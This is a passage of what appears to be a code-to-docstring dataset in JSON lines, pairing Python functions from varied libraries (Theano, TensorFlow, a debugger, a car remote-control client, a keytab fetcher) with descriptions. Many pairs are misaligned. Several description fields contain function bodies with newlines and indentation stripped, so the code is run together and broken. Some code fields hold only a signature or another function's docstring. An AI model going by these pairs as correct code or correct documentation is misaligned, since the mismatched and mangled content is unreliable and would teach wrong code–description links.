the criterions of the lookup:rtype: sakia.data.entities.Dividend"} {"code": "def update(self, sid, role_sid, **kwargs):\n kwargs['role_sid'] = role_sid\n return self.update_instance(sid, kwargs)", "nl": "Updates the Member instance identified by sid:param sid: Member instance identifier:param role_sid: Member's Role Sid:param identity: Member's Identity:return: Updated instance"} {"code": "def __init__(self, app, *args, **kwargs):\n Return all activities that should be considered for autocompletion.\n", "nl": "Instantiate class.super(RawFactCompletion, self).__init__(*args, **kwargs)self._app = appself._activities_model = Gtk.ListStore(GObject.TYPE_STRING)self._categories_model = Gtk.ListStore(GObject.TYPE_STRING)self._activities_with_categories_model = Gtk.ListStore(GObject.TYPE_STRING)self._populate_stores(None)self.set_model(self._activities_model)self.set_text_column(0)self.set_match_func(self._match_anywhere, None)self.connect('match-selected', self._on_match_selected)self.segment_models = {'activity': self._activities_model,'category': self._categories_model,'activity+category': self._activities_with_categories_model,}self._app.controller.signal_handler.connect('config-changed', self._populate_stores)def _populate_stores(self, evt):activities, categories = OrderedSet(), OrderedSet()self._activities_with_categories_model.clear()self._activities_model.clear()self._categories_model.clear()for activity in self._get_activities():activities.add(text_type(activity.name))if activity.category:categories.add(text_type(activity.category.name))# While we iterate over all activities anyway, we use this to# populate the 'activity+category' store right away.if activity.category:text = '{activity}@{category}'.format(activity=activity.name, category=activity.category.name)else:text = activity.nameself._activities_with_categories_model.append([text])for activity in activities:self._activities_model.append([activity])for category in categories:self._categories_model.append([category])def _get_activities(self):"} {"code": "def extract_feats(self, points, training=False):\n voxels, coors, num_points = [], [], []\n for res in points:\n res_voxels, res_coors, res_num_points = self.voxel_layer(res)\n voxels.append(res_voxels)\n coors.append(res_coors)\n num_points.append(res_num_points)\n\n voxels = tf.concat(voxels, axis=0)\n num_points = tf.concat(num_points, axis=0)\n\n coors_batch = []\n for i, coor in enumerate(coors):\n paddings = [[0, 0] for i in range(len(coor.shape))]\n paddings[-1] = [1, 0]\n coor_pad = tf.pad(coor,\n paddings,\n mode='CONSTANT',\n constant_values=i)\n coors_batch.append(coor_pad)\n\n coors_batch = tf.concat(coors_batch, axis=0)\n\n return voxels, num_points, coors_batch\n", "nl": "Extract features from points.voxels, num_points, coors = self.voxelize(points)voxel_features = self.voxel_encoder(voxels,num_points,coors,training=training)batch_size = int(coors[-1, 0].numpy()) + 1x = self.middle_encoder(voxel_features,coors,batch_size,training=training)x = self.backbone(x, training=training)x = self.neck(x, training=training)return xdef voxelize(self, points):Apply hard voxelization to points."} {"code": "def load(config_string, default_name=None):\n split = windows_friendly_colon_split(config_string)\n if len(split) > 1:\n module_name, object_name = \":\".join(split[:-1]), split[-1]\n else:", "nl": "Given a module name and an object expected to be contained within,return said object."} {"code": "def WrapAngleRad(angles_rad, min_val=-np.pi, max_val=np.pi):\n\n Args:\n bboxes_3d: A [..., num_boxes, 7] tensor representing 3D bboxes.\n transforms: A [..., 4, 4] tensor with the same leading shape as bboxes_3d.\n These transforms are expected to only affect translation and rotation,\n while not scaling the data. This ensures that the bboxes have the same\n dimensions post transformation.\n\n Returns:\n A tensor with the same shape as bboxes_3d, with transforms applied to each\n bbox3d.\n \"\"\"", "nl": "Wrap the value of `angles_rad` to the range [min_val, max_val].max_min_diff = max_val - min_valreturn min_val + tf.math.floormod(angles_rad + max_val, max_min_diff)def TransformBBoxes3D(bboxes_3d, transforms):Apply 4x4 transforms to 7 DOF bboxes (change center and rotation)."} {"code": "def _roll_data(self):\n\n self.buffer.values[:, :self._window, :] = \\\n self.buffer.values[:, -self._window:, :]\n self.date_buf[:self._window] = self.date_buf[-self._window:]\n self._pos = self._window\n\n @property", "nl": "Roll window worth of data up to position zero.Save the effort of having to expensively roll at each iteration"} {"code": "def get_stack(self, tid_list, fAll, fException):\n if fException and (fAll or (len(tid_list) != 0)):\n raise BadArgument(\"You shall request either Exception, or list of tid, or all\")\n\n ctx = self.get_current_ctx()\n ctid = ctx.m_thread_id\n\n if fAll:\n ctx_list = list(self.get_threads().values())\n elif fException or (len(tid_list) == 0):\n ctx_list = [ctx]\n else:\n ctx_list = [self.get_threads().get(t, None) for t in tid_list]\n\n _sl = [self.__get_stack(ctx, ctid, fException) for ctx in ctx_list if ctx is not None]\n sl = [s for s in _sl if s is not None]\n\n return sl\n\n", "nl": "Return a list if dictionaries describing the stacks for each threads requested.:param tid_list: list of threads id for which we want the stack, or an empty list forthe current thread or for other args to apply:param fAll: boolean, True requests stacks for all threads (tid_list must be an empty list then):param fException: boolean, True request stack of current exception (tid_list must be [] and fAll must be False):return: list of dictionaries containing thread information- DICT_KEY_STACK: list of (filename, line number, function name, text of source code)- DICT_KEY_CODE_LIST: list of code object references represented as string containing hex value- DICT_KEY_TID: thread identifier- DICT_KEY_BROKEN: boolean, whether thread is currently in Break state or running- DICT_KEY_EVENT: name of the event providing the stack: exception, call, return, ...- DICT_KEY_CURRENT_TID: boolean, True if this is the current thread"} {"code": "def copy(self):\n\n return self._clone()\n", "nl": "Make a (shallow) copy of the set."} {"code": "def __handleToonCollision(self, collEntry):\n\n toonId = base.localAvatar.getDoId()\n self.notify.debug('Distributed suit: requesting a Battle with ' +\n 'toon: %d' % toonId)\n self.d_requestBattle(self.getPos(), self.getHpr())\n\n self.setState('WaitForBattle')\n\n return None\n\n\n\n\n\n\n", "nl": "/////////////////////////////////////////////////////////////// Function: This function is the callback for any// collision events that the collision sphere// for this bad guy might receive// Parameters: collEntry, the collision entry object// Changes: None/////////////////////////////////////////////////////////////"} {"code": "def make_filter_preprocessor(predicate: Callable) -> Callable:\n", "nl": "Make a preprocessor to filter examples from the dataset.Create a preprocessor that filters out any examples from the datasetfor which the predicate returns ``False``.Parameters----------predicate : Callable, requiredA function that takes an example and returns a boolean, ``True``if the example should remain in the dataset, ``False`` if itshould not.Returns-------CallableA function taking a ``tf.data.Dataset`` and returning a``tf.data.Dataset`` with all examples for which ``predicate``evaluates to ``False`` removed."} {"code": "def get_all_field_names(self):\n try:\n cache = self._name_map\n except AttributeError:\n cache = self.init_name_map()\n names = cache.keys()\n names.sort()\n return names\n", "nl": "Returns a list of all field names that are possible for this model(including reverse relation names)."} {"code": "def _make_vac_states(self, cutoff_dim):", "nl": "Make vacuum state tensors for the underlying graphone = tf.cast([1.0], self._dtype)v = tf.scatter_nd([[0]], one, [cutoff_dim])self._single_mode_pure_vac = vself._single_mode_mixed_vac = tf.einsum(\"i,j->ij\", v, v)if self._batched:self._single_mode_pure_vac = tf.stack([self._single_mode_pure_vac] * self._batch_size)self._single_mode_mixed_vac = tf.stack([self._single_mode_mixed_vac] * self._batch_size)def _update_state(self, new_state):Helper function to update the state history and the current state"} {"code": "def create_lots_of_indexes_concurrently_test(self):\n cluster = self.cluster\n cluster.populate(2).start()\n\n node1, node2 = cluster.nodelist()\n session = self.cql_connection(node1)\n session.execute(\"create keyspace lots_o_indexes WITH replication = {'class': 'SimpleStrategy', 'replication_factor': 1};\")\n session.execute(\"use lots_o_indexes\")\n for n in range(5):\n session.execute(\"create table base_{0} (id uuid primary key, c1 int, c2 int)\".format(n))\n for ins in range(1000):\n session.execute(\"insert into base_{0} (id, c1, c2) values (uuid(), {1}, {2})\".format(n, ins, ins))\n wait(5)\n\n debug(\"creating indexes\")\n cmds = []\n for n in range(5):\n cmds.append((\"create index ix_base_{0}_c1 on base_{0} (c1)\".format(n), ()))\n cmds.append((\"create index ix_base_{0}_c2 on base_{0} (c2)\".format(n), ()))\n\n results = execute_concurrent(session, cmds, raise_on_first_error=True)\n\n for (success, result) in results:\n self.assertTrue(success, \"didn't get success on table create: {}\".format(result))\n\n wait(5)\n\n debug(\"validating schema and index list\")\n session.cluster.control_connection.wait_for_schema_agreement()\n session.cluster.refresh_schema_metadata()\n index_meta = session.cluster.metadata.keyspaces[\"lots_o_indexes\"].indexes\n self.validate_schema_consistent(node1)\n self.validate_schema_consistent(node2)\n self.assertEqual(10, len(index_meta))\n for n in range(5):\n self.assertIn(\"ix_base_{0}_c1\".format(n), index_meta)\n self.assertIn(\"ix_base_{0}_c2\".format(n), index_meta)\n\n debug(\"waiting for indexes to fill in\")\n wait(45)\n debug(\"querying all values by secondary index\")\n for n in range(5):\n for ins in range(1000):\n self.assertEqual(1, len(list(session.execute(\"select * from base_{0} where c1 = {1}\".format(n, ins)))))\n self.assertEqual(1, len(list(session.execute(\"select * from base_{0} where c2 = {1}\".format(n, ins)))))\n\n @since('3.0')", "nl": "create indexes across multiple threads concurrently"} {"code": "def escape(pathname):\n drive, pathname = os.path.splitdrive(pathname)\n if isinstance(pathname, binary_type):\n pathname = magic_check_bytes.sub(br'[\\1]', pathname)\n else:\n pathname = magic_check.sub(r'[\\1]', pathname)\n return drive + pathname", "nl": "Escape all special characters."} {"code": "def contract(ctx: Context, contract_id: PublicId) -> None:\n remove_item(ctx, PROTOCOL, protocol_id)\n\n\n@remove.command()\n@click.argument(\"skill_id\", type=PublicIdParameter(), required=True)\n@pass_ctx", "nl": "Remove a contract from the agent.remove_item(ctx, CONTRACT, contract_id)@remove.command()@click.argument(\"protocol_id\", type=PublicIdParameter(), required=True)@pass_ctxdef protocol(ctx: Context, protocol_id: PublicId) -> None:Remove a protocol from the agent."} {"code": "def im_proposals(net, im):\n\n _t = Timer()\n imdb_boxes = [[] for _ in xrange(imdb.num_images)]\n for i in xrange(imdb.num_images):\n im = cv2.imread(imdb.image_path_at(i))\n _t.tic()\n imdb_boxes[i], scores = im_proposals(net, im)\n _t.toc()\n print 'im_proposals: {:d}/{:d} {:.3f}s' \\\n .format(i + 1, imdb.num_images, _t.average_time)\n if 0:\n dets = np.hstack((imdb_boxes[i], scores))\n _vis_proposals(im, dets[:3, :], thresh=0.9)\n plt.show()\n\n return imdb_boxes", "nl": "Generate RPN proposals on a single image.blobs = {}blobs['data'], blobs['im_info'] = _get_image_blob(im)net.blobs['data'].reshape(*(blobs['data'].shape))net.blobs['im_info'].reshape(*(blobs['im_info'].shape))blobs_out = net.forward(data=blobs['data'].astype(np.float32, copy=False),im_info=blobs['im_info'].astype(np.float32, copy=False))scale = blobs['im_info'][0, 2]boxes = blobs_out['rois'][:, 1:].copy() / scalescores = blobs_out['scores'].copy()return boxes, scoresdef imdb_proposals(net, imdb):Generate RPN proposals on all images in an imdb."} {"code": "def service_account(self, service_account):\n\n self._service_account = service_account\n", "nl": "Sets the service_account of this V1alpha1SubmitOpts.ServiceAccount runs all pods in the workflow using specified ServiceAccount. # noqa: E501:param service_account: The service_account of this V1alpha1SubmitOpts. # noqa: E501:type: str"} {"code": "def auto_suggest(config, estimator, logger):\n if estimator is None:\n estimator_init = [SSDEstimator, YOLOv3Estimator, FasterRCNNEstimator, CenterNetEstimator]\n config['estimator'] = ag.Categorical(*estimator_init)\n elif isinstance(estimator, str):\n named_estimators = {\n 'ssd': SSDEstimator,\n 'faster_rcnn': FasterRCNNEstimator,\n 'yolo3': YOLOv3Estimator,\n 'center_net': CenterNetEstimator,\n 'img_cls': ImageClassificationEstimator\n }\n if estimator.lower() in named_estimators:\n estimator = [named_estimators[estimator.lower()]]\n else:\n available_ests = named_estimators.keys()\n raise ValueError(f'Unknown estimator name: {estimator}, options: {available_ests}')\n elif isinstance(estimator, (tuple, list)):\n pass\n else:\n if isinstance(estimator, ag.Space):\n estimator = estimator.data\n elif isinstance(estimator, str):\n estimator = [estimator]\n for i, e in enumerate(estimator):\n if e == 'ssd':\n estimator[i] = SSDEstimator\n elif e == 'yolo3':\n estimator[i] = YOLOv3Estimator\n elif e == 'faster_rcnn':\n estimator[i] = FasterRCNNEstimator\n elif e == 'center_net':\n estimator[i] = CenterNetEstimator\n if not estimator:\n raise ValueError('Unable to determine the estimator for fit function.')\n if len(estimator) == 1:\n config['estimator'] = estimator[0]\n else:\n config['estimator'] = ag.Categorical(*estimator)\n", "nl": "Automatically suggest some hyperparameters based on the dataset statistics."} {"code": "def get_first_of_type(itr, typ):\n return TestAzureSentinelResultsToStix.get_first(itr, lambda o: isinstance(o, dict) and o.get('type') == typ)\n\n @staticmethod", "nl": "to check whether the object belongs to respective stix object"} {"code": "def bounded_iou_loss(pred, target, beta=0.2, eps=1e-3):\n pred_ctrx = (pred[:, 0] + pred[:, 2]) * 0.5\n pred_ctry = (pred[:, 1] + pred[:, 3]) * 0.5\n pred_w = pred[:, 2] - pred[:, 0] + 1\n pred_h = pred[:, 3] - pred[:, 1] + 1\n with torch.no_grad():\n target_ctrx = (target[:, 0] + target[:, 2]) * 0.5\n target_ctry = (target[:, 1] + target[:, 3]) * 0.5\n target_w = target[:, 2] - target[:, 0] + 1\n target_h = target[:, 3] - target[:, 1] + 1\n\n dx = target_ctrx - pred_ctrx\n dy = target_ctry - pred_ctry\n\n loss_dx = 1 - torch.max(\n (target_w - 2 * dx.abs()) /\n (target_w + 2 * dx.abs() + eps), torch.zeros_like(dx))\n loss_dy = 1 - torch.max(\n (target_h - 2 * dy.abs()) /\n (target_h + 2 * dy.abs() + eps), torch.zeros_like(dy))\n loss_dw = 1 - torch.min(target_w / (pred_w + eps), pred_w /\n (target_w + eps))\n loss_dh = 1 - torch.min(target_h / (pred_h + eps), pred_h /\n (target_h + eps))\n loss_comb = torch.stack([loss_dx, loss_dy, loss_dw, loss_dh],\n dim=-1).view(loss_dx.size(0), -1)\n\n loss = torch.where(loss_comb < beta, 0.5 * loss_comb * loss_comb / beta,\n loss_comb - 0.5 * beta)\n return loss\n\n\n@LOSSES.register_module\nclass IoULoss(nn.Module):\n", "nl": "Improving Object Localization with Fitness NMS and Bounded IoU Loss,https://arxiv.org/abs/1711.00164.Args:pred (tensor): Predicted bboxes.target (tensor): Target bboxes.beta (float): beta parameter in smoothl1.eps (float): eps to avoid NaN."} {"code": "def drop_worker(self, worker_address):\n self.lock.acquire()\n worker = self.worker_dict[worker_address]\n for job in worker.initialized_jobs:\n if job.job_address in self.job_pool:\n self.job_pool.pop(job.job_address)\n self.worker_dict.pop(worker_address)\n self.worker_vacant_jobs.pop(worker_address)\n self.lock.release()\n", "nl": "Remove jobs from job_pool when a worker dies.Args:worker_address (str): the worker_address of a worker to beremoved from the job center."} {"code": "def _items(obj): # dict only\n o = getattr(obj, 'iteritems', obj.items)\n return o() if callable(o) else (o or ())\n\n", "nl": "Return iter-/generator, preferably."} {"code": "def check_xfail_no_run(item):\n evalxfail = pyfuncitem._evalxfail\n if evalxfail.istrue():", "nl": "check xfail(run=False)if not item.config.option.runxfail:evalxfail = item._evalxfailif evalxfail.istrue():if not evalxfail.get(\"run\", True):xfail(\"[NOTRUN] \" + evalxfail.getexplanation())def check_strict_xfail(pyfuncitem):check xfail(strict=True) for the given PASSING test"} {"code": "def validate(self, pos=None, color=None, line_width=10., data_bounds=None, **kwargs):\n \"\"\"Take the output of validate() as input.\"\"\"", "nl": "Validate the requested data before passing it to set_data().assert pos is not Nonepos = _as_array(pos)pos = np.atleast_2d(pos)assert pos.ndim == 2assert pos.shape[1] == 2line_width = np.clip(line_width, 5, 100)# Color.color = _get_array(color, (1, 4), self.default_color)# By default, we assume that the coordinates are in NDC.if data_bounds is None:data_bounds = NDCdata_bounds = _get_data_bounds(data_bounds)data_bounds = data_bounds.astype(np.float64)# assert data_bounds.shape == (n_lines, 2)return Bunch(pos=pos, color=color, line_width=line_width, data_bounds=data_bounds,_n_items=1, _n_vertices=self.vertex_count(pos=pos))def vertex_count(self, pos=None, **kwargs):Number of vertices for the requested data."} {"code": "def _cached_get_or_create(self, clazz, **kwargs):\n\n assert issubclass(clazz, models.Model), \"_cached_get_or_create needs to get the class as first argument\"\n\n key = ORMWrapper._build_key(**kwargs)\n dictname = \"objects_%s\" % clazz.__name__\n if not dictname in vars(self).keys():\n vars(self)[dictname] = {}\n\n created = False\n if not key in vars(self)[dictname].keys():\n vars(self)[dictname][key], created = \\\n clazz.objects.get_or_create(**kwargs)\n\n return (vars(self)[dictname][key], created)\n\n", "nl": " This is a memory-cached get_or_create. We assume that the objects will not be created in thedatabase through any other means."} {"code": "def __init__(self, stream, encode, decode, Reader, Writer, errors='strict'):\n self.stream = stream\n self.encode = encode\n self.decode = decode\n self.reader = Reader(stream, errors)\n self.writer = Writer(stream, errors)\n self.errors = errors\n", "nl": " Creates a StreamRecoder instance which implements a two-wayconversion: encode and decode work on the frontend (theinput to .read() and output of .write()) whileReader and Writer work on the backend (reading andwriting to the stream).You can use these objects to do transparent directrecodings from e.g. latin-1 to utf-8 and back.stream must be a file-like object.encode, decode must adhere to the Codec interface, Reader,Writer must be factory functions or classes providing theStreamReader, StreamWriter interface resp.encode and decode are needed for the frontend translation,Reader and Writer for the backend translation. Unicode isused as intermediate encoding.Error handling is done in the same way as defined for theStreamWriter/Readers."} {"code": "def remote_engine_start(self, pin, target_value):\n headers = self.connection.head.copy()\n headers[\"Content-Type\"] = \"application/vnd.wirelesscar.ngtp.if9.StartServiceConfiguration-v2+json\"\n reoff_data = self.authenticate_reoff(pin)\n\n return self.post(\"engineOff\", headers, reoff_data)\n", "nl": "Start Remote Engine preconditioningheaders = self.connection.head.copy()headers[\"Content-Type\"] = \"application/vnd.wirelesscar.ngtp.if9.StartServiceConfiguration-v2+json\"self.set_rcc_target_value(pin, target_value)reon_data = self.authenticate_reon(pin)return self.post(\"engineOn\", headers, reon_data)def remote_engine_stop(self, pin):Stop Remote Engine preconditioning"} {"code": "def command_template(self):\n pass\n", "nl": "class constant: command template for kallisto quant"} {"code": "def _record_name(self, name, prefix=None):\n for name, value in record_tuples:\n if not name:\n raise ValueError(\"monitor variable without name\")\n log.current_row[self._record_name(name, prefix)] = value\n\n\nclass SaveParams(SimpleExtension):\n \"\"\"Finishes the training process when triggered.\"\"\"", "nl": "The record name for a variable name.PREFIX_SEPARATOR = '_'prefix = prefix or self.prefixreturn prefix + PREFIX_SEPARATOR + name if prefix else namedef add_records(self, log, record_tuples, prefix=None):Helper function to add monitoring records to the log."} {"code": "def _clear_timezone(data, keys):\n if not data:\n return data\n for key in keys:\n if key in data:\n data[key] = strip_offset_from_timezone(data[key])\n return data\n\n", "nl": "Clears timezone fields - removes UTC offset from timezone string:Europe/London (+000) -> Europe/London"} {"code": "def expandvars(path):\n return path\n\nclass norm_error(Exception):\n \"\"\"Path cannot be normalized\"\"\"", "nl": "Dummy to retain interface-compatibility with other operating systems.return pathdef expanduser(path):Dummy to retain interface-compatibility with other operating systems."} {"code": "def test_dot_not_output(self):\n\n v = T.vector()\n m = T.matrix()\n output = T.dot(v, m)\n\n opt_mode = mode.including(\"scan\")\n f_opt = theano.function([v, m], T.jacobian(output, v), mode=opt_mode)\n\n no_opt_mode = mode.excluding(\"scanOp_pushout_output\")\n f_no_opt = theano.function([v, m], T.jacobian(output, v), mode=no_opt_mode)\n\n scan_node = [node for node in f_opt.maker.fgraph.toposort()\n if isinstance(node.op, Scan)][0]\n assert len(scan_node.op.outputs) == 1\n assert not isinstance(scan_node.op.outputs[0], T.Dot)\n\n v_value = numpy.random.random((4)).astype(config.floatX)\n m_value = numpy.random.random((4, 5)).astype(config.floatX)\n\n output_opt = f_opt(v_value, m_value)\n output_no_opt = f_no_opt(v_value, m_value)\n\n utt.assert_allclose(output_opt, output_no_opt)\n", "nl": "Test the case where the vector input to the dot is not already anoutput of the inner function."} {"code": "def test_is_acceptable_proposal(self):\n self.strategy._is_ledger_tx = True\n description = Description(\n {\n \"ledger_id\": self.ledger_id,\n \"price\": 20,\n \"currency_id\": self.currency_id,\n \"service_id\": self.service_id,\n \"quantity\": 10,\n \"tx_nonce\": \"some_tx_nonce\",\n \"seller_tx_fee\": 0,\n \"buyer_tx_fee\": 0,\n \"batch_size\": 5,\n }\n )\n self.strategy.balance = 20\n is_affordable = self.strategy.is_affordable_terms(description)\n assert is_affordable\n\n self.strategy.balance = 19\n is_affordable = self.strategy.is_affordable_terms(description)\n assert not is_affordable\n\n self.strategy._is_ledger_tx = False\n is_affordable = self.strategy.is_affordable_terms(description)\n assert is_affordable\n", "nl": "Test the is_acceptable_proposal method of the Strategy class.acceptable_description = Description({\"ledger_id\": self.ledger_id,\"price\": 20,\"currency_id\": self.currency_id,\"service_id\": self.service_id,\"quantity\": 10,\"tx_nonce\": \"some_tx_nonce\",\"seller_tx_fee\": 0,\"buyer_tx_fee\": 0,\"batch_size\": 5,})is_acceptable = self.strategy.is_acceptable_terms(acceptable_description)assert is_acceptableunacceptable_description = Description({\"ledger_id\": self.ledger_id,\"price\": 250,\"currency_id\": self.currency_id,\"service_id\": self.service_id,\"quantity\": 10,\"tx_nonce\": \"some_tx_nonce\",\"seller_tx_fee\": 0,\"buyer_tx_fee\": 0,\"batch_size\": 5,})is_acceptable = self.strategy.is_acceptable_terms(unacceptable_description)assert not is_acceptabledef test_is_affordable_proposal(self):Test the is_affordable_proposal method of the Strategy class."} {"code": "def test__call_get_ads(self, mocked_sleep):\n\n mocked_account = Mock()\n mocked_account.get_ads = Mock()\n mocked_account.get_ads.side_effect = ConnectionError\n\n ad_object = Ads('', mocked_account, '', '', '')\n with self.assertRaises(ConnectionError):\n ad_object._call_get_ads('test')\n\n self.assertEquals(mocked_account.get_ads.call_count, 5)\n\n @mock.patch(\"pendulum.parse\")", "nl": "Ads._call_get_ads calls a `facebook_business` method,`get_ads()`, to get a batch of ads.We mock this method to raise a `ConnectionError` and expect the tap to retry this that function up to 5 times,which is the current hard coded `max_tries` value."} {"code": "def queryRaw(self):\n ret = libxml2mod.xmlURIGetQueryRaw(self._o)\n return ret\n", "nl": "Get the raw query part from an URI (i.e. the unescapedform). "} {"code": "def get_board_name(self):\n return False\n\n\nclass P3RocGpioDriver(DriverPlatformInterface):\n\n \"\"\"P3-Roc driver in GPIOs.\"\"\"", "nl": "Return board of the GPIOs.return \"P3-Roc GPIOs\"@propertydef has_rules(self):Return false as we do not support rules."} {"code": "def __init__(self):\n Initialize the base persistence layer from the configuration settings\n\n Parameters\n ----------\n config: IdempotencyConfig\n Idempotency configuration settings\n function_name: str, Optional\n The name of the function being decorated\n \"\"\"", "nl": "Initialize the defaultsself.function_name = \"\"self.configured = Falseself.event_key_jmespath: Optional[str] = Noneself.event_key_compiled_jmespath = Noneself.jmespath_options: Optional[dict] = Noneself.payload_validation_enabled = Falseself.validation_key_jmespath = Noneself.raise_on_no_idempotency_key = Falseself.expires_after_seconds: int = 60 * 60 # 1 hour defaultself.use_local_cache = Falseself.hash_function = Nonedef configure(self, config: IdempotencyConfig, function_name: Optional[str] = None) -> None:"} {"code": "def compute_predictions(self, input_batch):\n\n Args:\n predictions: The output of `ComputePredictions`.\n input_batch: A `.NestedMap` object containing input tensors to this tower.\n\n Returns:\n - A dict or NestedMap containing str keys and (metric, weight) pairs as\n values, where one of the entries is expected to corresponds to the loss.\n - A dict containing arbitrary tensors describing something about each\n training example, where the first dimension of each tensor is the batch\n index.\n \"\"\"", "nl": "Computes predictions for `input_batch`.p = self.paramsif p.model.packed_input:packed_input_kwargs = {'input_segment_ids': input_batch.src.segment_ids,'input_segment_pos': input_batch.src.segment_pos,'target_segment_ids': input_batch.tgt.segment_ids,'target_segment_pos': input_batch.tgt.segment_pos,}else:packed_input_kwargs = {}labels = NestedMap(class_ids=input_batch.tgt.labels, class_weights=input_batch.tgt.weights)if p.label_smoothing_prob > 0.0:vocab_size = p.model.softmax_tpl.num_classesclass_probabilities = jax.nn.one_hot(labels.class_ids, vocab_size)fill_prob = p.label_smoothing_prob / (vocab_size - 1)class_probabilities = ((1.0 - p.label_smoothing_prob) * class_probabilities + fill_prob *(1.0 - class_probabilities)).astype(self.fprop_dtype)labels.class_probabilities = class_probabilitiesreturn self.model.fprop(inputs=input_batch.src.ids,input_paddings=input_batch.src.paddings,targets=input_batch.tgt.ids,target_paddings=input_batch.tgt.paddings,labels=labels,**packed_input_kwargs)def compute_loss(self, predictions, input_batch):Computes the loss and other metrics for the given predictions."} {"code": "def enumerate_deb_packages(base_url, comp, os_code_name, os_arch):\n pkgs_url = os.path.join(base_url, 'dists', os_code_name,\n comp, 'binary-' + os_arch, 'Packages.gz')\n print('Reading debian package metadata from ' + pkgs_url)\n for block in enumerate_blocks(pkgs_url):\n pkg_url = os.path.join(base_url, block['Filename'])\n yield PackageEntry(block['Package'], block['Version'], pkg_url,\n block.get('Source', block['Package']))\n\n", "nl": "Enumerate debian packages in a repository.:param base_url: the debian repository base URL.:param comp: the component of the repository to enumerate.:param os_code_name: the OS version associated with the repository.:param os_arch: the system architecture associated with the repository.:returns: an enumeration of package entries."} {"code": "def __init__(self, field):\n self.specials = '()<>@,:;.\\\"[]'\n self.pos = 0\n self.LWS = ' \\t'\n self.CR = '\\r\\n'\n self.FWS = self.LWS + self.CR\n self.atomends = self.specials + self.LWS + self.CR\n self.phraseends = self.atomends.replace('.', '')\n self.field = field\n self.commentlist = []\n", "nl": "Initialize a new instance.`field' is an unparsed address header field, containingone or more addresses."} {"code": "def _get_keytabs_from(host, port, spool_dir):\n from treadmill import gssapiprotocol\n\n service = 'host@%s' % host\n _LOGGER.info('connecting: %s:%s, %s', host, port, service)\n client = gssapiprotocol.GSSAPILineClient(host, int(port), service)\n\n try:\n if not client.connect():\n _LOGGER.warning(\n 'Cannot connect to %s:%s, %s', host, port, service\n )\n return False\n\n _LOGGER.debug('connected to: %s:%s, %s', host, port, service)\n\n client.write(b'get')\n while True:\n line = client.read()\n if not line:\n _LOGGER.debug('End of response.')\n break\n\n ktname, encoded = line.split(b':', 1)\n ktname = ktname.decode()\n if encoded:\n _LOGGER.info('got keytab %s:%r',\n ktname,\n hashlib.sha1(encoded).hexdigest())\n keytab_data = base64.urlsafe_b64decode(encoded)\n kt_file = os.path.join(spool_dir, ktname)\n _write_keytab(kt_file, keytab_data)\n else:\n _LOGGER.warning('got empty keytab %s', ktname)\n\n return True\n\n finally:\n client.disconnect()\n\n", "nl": "Get keytabs from keytab locker server."} {"code": "def test_player_run(self, mock_auto_kill_player_task, mock_player_start, mock_run_backup_file):\n\n with patch.object(PlayerManager, 'is_started', return_value=True) as mock_is_started:\n self.loop.run_until_complete(self.player_manager.main_loop(url=self.url,\n auto_stop_seconds=5,\n backup_file_path=\"/tmp/fake\",\n second_to_wait_before_check=2))\n mock_player_start.assert_called_with(self.url)\n mock_is_started.assert_called()\n mock_auto_kill_player_task.assert_called()\n mock_run_backup_file.assert_not_called()\n\n @patch('utils.player_manager.PlayerManager.start_player_task', new_callable=AsyncMock)\n @patch('utils.player_manager.PlayerManager.auto_kill_player_task', new_callable=AsyncMock)\n @patch('utils.player_manager.PlayerManager.run_backup_file', new_callable=AsyncMock)", "nl": "player executedplayer is startedauto stop called"} {"code": "def _parse_summary(self):\n Module doc strings: no parsing is done.\n\n \"\"\"", "nl": "Grab signature (if given) and summarysummary = self._doc.read_to_next_empty_line()summary_str = \"\\n\".join([s.strip() for s in summary])if re.compile('^([\\w. ]+=)?[\\w\\.]+\\(.*\\)$').match(summary_str):self['Signature'] = summary_strif not self._is_at_section():self['Summary'] = self._doc.read_to_next_empty_line()elif re.compile('^[\\w]+\\n[-]+').match(summary_str):self['Summary'] = ''self._doc.reset()else:self['Summary'] = summaryif not self._is_at_section():self['Extended Summary'] = self._read_to_next_section()def _parse(self):self._doc.reset()self._parse_summary()for (section, content) in self._read_sections():if not section.startswith('..'):section = ' '.join([s.capitalize()for s in section.split(' ')])if section in ('Parameters', 'Other Parameters', 'Returns','Raises', 'Warns', 'Attributes', 'Methods'):self[section] = self._parse_param_list(content)self.section_order.append(section)elif section.startswith('.. index::'):self['index'] = self._parse_index(section, content)self.section_order.append('index')elif section.lower() == 'see also':self['See Also'] = self._parse_see_also(content)self.section_order.append('See Also')else:self[section] = contentself.section_order.append(section)# string conversion routinesdef _str_header(self, name, symbol='-'):return [name, len(name) * symbol]def _str_indent(self, doc, indent=4):out = []for line in doc:out += [' ' * indent + line]return outdef _str_signature(self):if not self['Signature']:return []return [\"*%s*\" % self['Signature'].replace('*', '\\*')] + ['']def _str_summary(self):return self['Summary'] + ['']def _str_extended_summary(self):return self['Extended Summary'] + ['']def _str_param_list(self, name):out = []if self[name]:out += self._str_header(name)for param, param_type, desc in self[name]:out += ['%s : %s' % (param, param_type)]out += self._str_indent(desc)out += ['']return outdef _str_section(self, name):out = []if self[name]:out += self._str_header(name)out += self[name]out += ['']return outdef _str_see_also(self):if not self['See Also']:return []out = []out += self._str_header(\"See Also\")last_had_desc = Truefor func, desc in self['See Also']:if desc or last_had_desc:out += ['']out += [\"`%s`_\" % func]else:out[-1] += \", `%s`_\" % funcif desc:out += self._str_indent(desc)last_had_desc = Trueelse:last_had_desc = Falseout += ['']return outdef _str_index(self):idx = self['index']out = []out += ['.. index:: %s' % idx.get('default', '')]for section, references in six.iteritems(idx):if section == 'default':continueout += [' :%s: %s' % (section, ', '.join(references))]return outdef __str__(self):out = []out += self._str_signature()out += self._str_summary()out += self._str_extended_summary()for param_list in ('Parameters', 'Other Parameters','Returns', 'Raises', 'Warns'):out += self._str_param_list(param_list)out += self._str_see_also()for s in ('Notes', 'References', 'Examples'):out += self._str_section(s)out += self._str_index()return '\\n'.join(out)# --def get_errors(self, check_order=True):errors = []self._doc.reset()for j, line in enumerate(self._doc):if len(line) > 75:if hasattr(self, 'name'):errors.append(\"%s: Line %d exceeds 75 chars\"\": \\\"%s\\\"...\" % (self.name, j + 1,line[:30]))else:errors.append(\"Line %d exceeds 75 chars\"\": \\\"%s\\\"...\" % (j + 1, line[:30]))if check_order:canonical_order = ['Signature', 'Summary', 'Extended Summary','Attributes', 'Methods', 'Parameters','Other Parameters', 'Returns', 'Raises','Warns','See Also', 'Notes', 'References', 'Examples','index']canonical_order_copy = list(canonical_order)for s in self.section_order:while canonical_order_copy and s != canonical_order_copy[0]:canonical_order_copy.pop(0)if not canonical_order_copy:errors.append(\"Sections in wrong order (starting at %s). The\"\" right order is %s\" % 